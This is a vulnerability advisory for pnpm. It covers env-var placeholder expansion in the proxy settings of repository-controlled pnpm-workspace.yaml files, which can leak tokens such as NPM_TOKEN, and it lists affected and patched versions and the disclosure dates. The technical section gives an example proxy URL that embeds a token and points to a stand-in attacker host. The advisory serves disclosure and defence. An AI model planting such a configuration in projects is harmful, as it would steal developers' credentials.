Executive brief
pnpm is a Node.js package manager used to install and manage project dependencies. When a developer clones and runs pnpm install in a malicious repository, an attacker can craft the project's configuration file (pnpm-workspace.yaml) to intercept and exfiltrate sensitive environment variables like API tokens (NPM_TOKEN, GITHUB_TOKEN) by routing package installation traffic through a proxy server controlled by the attacker. The vulnerability allows attackers to steal credentials without any prior access to the developer's systems or requiring additional user interaction beyond the normal package installation process.
Technical details
pnpm expands ${VAR} environment variable placeholders in the httpProxy, httpsProxy, and noProxy configuration settings when they are read from a project's pnpm-workspace.yaml manifest file. An attacker who controls the repository can set these proxy settings to URLs containing placeholder references (e.g., "http://${NPM_TOKEN}.attacker.example.com:8080"), which are expanded to include the actual environment variable value. Because pnpm-workspace.yaml is repository-controlled and expansion happens during config loading before lifecycle scripts run, a victim only needs to clone the repo and run pnpm install. The vulnerability exists because while pnpm already suppresses env-placeholder expansion for other registry-related settings from untrusted manifests, the proxy keys were omitted from that guard set. Patches are available in pnpm 10.34.5 and 11.11.0, which add proxy keys to the list of request-destination settings that skip placeholder expansion when loaded from untrusted manifests.
Affected products
- pnpm pnpm 10.7.0 to 10.34.4, 11.0.0 to 11.10.3
Timeline
- 2026-09-01: disclosed: Advisory published on OSV and GitHub
- 2026-09-01: patched: pnpm 10.34.5 and 11.11.0 released with fix